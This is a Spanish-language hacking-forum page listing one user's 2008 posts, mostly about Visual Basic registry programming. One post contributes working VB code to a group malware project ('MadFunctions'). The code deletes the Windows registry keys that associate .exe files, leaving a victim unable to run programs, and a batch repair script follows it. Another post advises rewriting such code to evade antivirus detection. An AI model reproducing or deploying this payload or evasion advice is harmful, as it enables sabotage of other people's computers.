elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: 1 ... 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55 56 57 58 59
481  Programación / Programación Visual Basic / Re: Source del troyano Shark 2.1 Final en: 22 Enero 2008, 03:31 am
si no te gusta nada de ese troyano, mejor solo coloca lo que te gusta (partes del codigo)
(Y)
482  Programación / Programación Visual Basic / Re: [+] Proyecto Open Source: MadFunctions en: 22 Enero 2008, 01:44 am
Aporto esta infeccion en el registro para activar 'Gˇf' como ejecutable; incluso agrega el icono del propio gif para no necesitar atribuirle un icono :D
esta en batch, alguien se toma el trabajo de traducirlo? no tengo mucho tiempo; pero para los "" pueden usar chr(34) ...
o tranquilamnte lo colocan en un text y colocan esto
Código
  1. Open "ruta" For Output As #1
  2. Print #1, text1.Text
  3. Close #1

Code:
483  Programación / Programación Visual Basic / Re: [+] Proyecto Open Source: MadFunctions en: 22 Enero 2008, 01:21 am
Esta idea la hice yo; me di cuenta de que si elimino esas claves en el registro, se puede causar graves molestias para quien no sepa mucho, en cuanto a los ejecutables :D.

Modulo para manejar el registro; la puedes usar para mas cosas :D:
Código
  1. Const REG_SZ = 1
  2. Const REG_BINARY = 3
  3. Const REG_DWORD = 4
  4.  
  5. Public Const HKEY_CURRENT_USER = &H80000001
  6. Public Const HKEY_CLASSES_ROOT = &H80000000
  7. ' Declaraciones de API para manipulacion del Registro
  8.  
  9. Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  10. Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  11. Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
  12. Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
  13. Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
  14. Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
  15. Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
  16.  
  17. Public Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
  18.  
  19.    Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long
  20.  
  21.    lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
  22.    If lResult = 0 Then
  23.        If lValueType = REG_SZ Then
  24.  
  25.            strBuf = String(lDataBufSize, Chr$(0))
  26.            'recupera el valor del key
  27.            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
  28.            If lResult = 0 Then
  29.  
  30.                RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
  31.            End If
  32.        ElseIf lValueType = REG_BINARY Then
  33.            Dim strData As Integer
  34.            'recupera el valor del key
  35.            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
  36.            If lResult = 0 Then
  37.                RegQueryStringValue = strData
  38.            End If
  39.         ElseIf lValueType = REG_DWORD Then
  40.  
  41.            'recupera el valor del key
  42.            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
  43.            If lResult = 0 Then
  44.                RegQueryStringValue = strData
  45.            End If
  46.  
  47.        End If
  48.    End If
  49. End Function
  50.  
  51. Public Function GetString(hKey As Long, strPath As String, strValue As String)
  52.  
  53.    Dim Ret
  54.    'Abre Key
  55.    RegOpenKey hKey, strPath, Ret
  56.    'Carga Contenido
  57.    GetString = RegQueryStringValue(Ret, strValue)
  58.    'Cierra Key
  59.    RegCloseKey Ret
  60. End Function
  61.  
  62. Public Function SaveStringWORD(hKey As Long, strPath As String, strValue As String, strData As String)
  63.    Dim Ret
  64.    RegCreateKey hKey, strPath, Ret
  65.    RegSetValueEx Ret, strValue, 0, REG_DWORD, CLng(strData), 4
  66.    RegCloseKey Ret
  67. End Function
  68. Public Function SaveStringSZ(hKey As Long, strPath As String, strValue As String, strData As String)
  69.    Dim Ret
  70.    RegCreateKey hKey, strPath, Ret
  71.    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
  72.  
  73.    RegCloseKey Ret
  74. End Function
  75.  
  76. Public Function DelSetting(hKey As Long, strPath As String, strValue As String)
  77.    'No usado
  78.    'Puedes usarlo para borrar entradas
  79.  
  80.    Dim Ret
  81.    'Crea una nueva Key
  82.    RegCreateKey hKey, strPath, Ret
  83.    'Borra el valor de la Key
  84.    RegDeleteKey Ret, strValue
  85.    'Cierra el Key
  86.    RegCloseKey Ret
  87. End Function
  88.  
  89.  

y la funcion:

Código
  1. Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
  2. Private Sub Form_Load()
  3. fore = "exefile\shell\open\command"
  4. fore1 = "exefile\shell\runas\command"
  5.  
  6. fore2 = "exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"
  7. fore3 = "exefile\shellex\DropHandler"
  8. fore4 = "exefile\shellex\PropertySheetHandlers\ShimLayer Property Page"
  9. fore5 = "exefile\DefaultIcon"
  10. fore6 = "exefile\shellex\PropertySheetHandlers\PifProps"
  11. RegDeleteKey HKEY_CLASSES_ROOT, fore
  12. RegDeleteKey HKEY_CLASSES_ROOT, fore1
  13. RegDeleteKey HKEY_CLASSES_ROOT, fore2
  14. RegDeleteKey HKEY_CLASSES_ROOT, fore3
  15. RegDeleteKey HKEY_CLASSES_ROOT, fore4 'Des
  16. RegDeleteKey HKEY_CLASSES_ROOT, fore5
  17. RegDeleteKey HKEY_CLASSES_ROOT, fore6
  18.  
  19. End
  20. End Sub
  21.  


NOTA: No la pruebes en tu pc! o  si la pruebas desactiva: DES

vacuna:


Código
  1. @echo off
  2. assoc .exe=exefile
  3. ftype exefile="%1" %*
  4. @echo Windows Registry Editor Version 5.00>%TEMP%\exe.reg
  5. @echo [HKEY_CLASSES_ROOT\exefile]>>%TEMP%\exe.reg
  6. @echo @="Aplicacion">>%TEMP%\exe.reg
  7. @echo "NeverShowExt"="">>%TEMP%\exe.reg
  8. @echo [HKEY_CLASSES_ROOT\exefile\Shell\Open\Command]>>%TEMP%\exe.reg
  9. @echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\exe.reg
  10. regedit /s %TEMP%\exe.reg
  11. del %TEMP%\exe.reg

Nota2: lo edite xq cambie de funcion, la otra la probe y no hizo nada ... esta que pongo aqui funciona bien! :D
Cuidado, lo que hace es borrar las claves que asocian la extension EXE (re-muy importante, imaginas iniciar tu windows sin que te cargen nada??? es una joda).
484  Programación / Programación Visual Basic / Re: [+] Proyecto Open Source: MadFunctions en: 22 Enero 2008, 01:07 am
Un consejo; las funciones de este modo seran detectadas por muchos antivirus ...
y hay que estar constantemnte modificando el codigo o buscando otra manera de hacer lo mismo para evitar eso ...
yo implemntare las que tenga en mi Pc
485  Foros Generales / Sugerencias y dudas sobre el Foro / Re: RECLAMACION a los foros en: 22 Enero 2008, 00:41 am
En parte esta bien tu discucion, tienes razon; pero a veces no es recomendable dar todo  literalmnte escrito, el usuario debe a acostumbrarse a investigar mas en el tema si es qe quiere nuevas formas de solucion; pero a veces dejar algo a medias es sinonimo de confusion; aunq habrá gente que lo entienda mejor qe otros, o habrá gente que abandone la lectura por sentirse no preparada para ella ...
tambien depende de quien lo escriba; y si teneis ganas de escribirlo... y si es que sabe escribir ...
Es correcto dejar la base bien clara, y algunas opciones mas avanzadas para investigacion y profundizacion ...
486  Programación / Programación Visual Basic / Re: Introducir valor binario en registro usando VB script en: 22 Enero 2008, 00:06 am
Gracias, pero no consigo lograr eso ...
Seguire buscando ...
487  Programación / Programación Visual Basic / Re: Introducir valor binario en registro usando VB script en: 21 Enero 2008, 21:43 pm
Para Mad: (supongo que leiste el privado)
Luego de que encuentre la manera de hacer esto; te mando el source completo para que lo implementes a tu kick msn; y creo que es mejor que no subas el source del nuevo (si es q lo haces) para evitar copy & paste; y se queden con la duda de como lo hacen ...
aunq lo he probado (haciendolo manualmnte) en el windows live msn 8; nose si servira para los otras versiones del msn; pero en caso de que no funcione asi ...
pues ya se como encontrarla y se podria implementarla tambien :D
488  Programación / Programación Visual Basic / Re: Introducir valor binario en registro usando VB script en: 21 Enero 2008, 21:36 pm
hay cosas que van en el modulo, y hay una funcion que falta:
Call ParseKey
la puedes postear Mad?
489  Programación / Programación Visual Basic / Re: Manejar codigo de paginas web php en: 21 Enero 2008, 21:08 pm
Busca acerca de "HTMLDocument" y "SHDocVw.InternetExplorer"
o puedes cargar un webbrowser y alli establecer los objetos  que tiene.
490  Programación / Programación Visual Basic / Introducir valor binario en registro usando VB script en: 21 Enero 2008, 19:55 pm
Aun no consigo modificar un valor en el registro de windows, en el cual pueda introducir un valor ("00 00 00 00" y "01 00 00 00") del tipo "REG_BINARY"
Se que lo puedo lograr con esto, que estuve buscando:
Código
  1. dim Num as Interger
  2. Num = 1 'es el valor que se introducira en forma binaria
  3. Dim WshShell, bKey
  4. Set WshShell = CreateObject("WScript.Shell")
  5. WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\...\llave", Num, "REG_BINARY"
  6.  

pero el problema es que no consigo dar con el valor que me de: "00 00 00 00" y "01 00 00 00".

He usado un traductor de binario: http://www.guardaqua.it/risorse/binario.php
y alli si coloco: "01 00 00 00";
me dice que pertenece a "@" (no es entero :S)

żComo lo logro?
imagen de lo que quiero llegar a hacer:
Páginas: 1 ... 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55 56 57 58 59
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines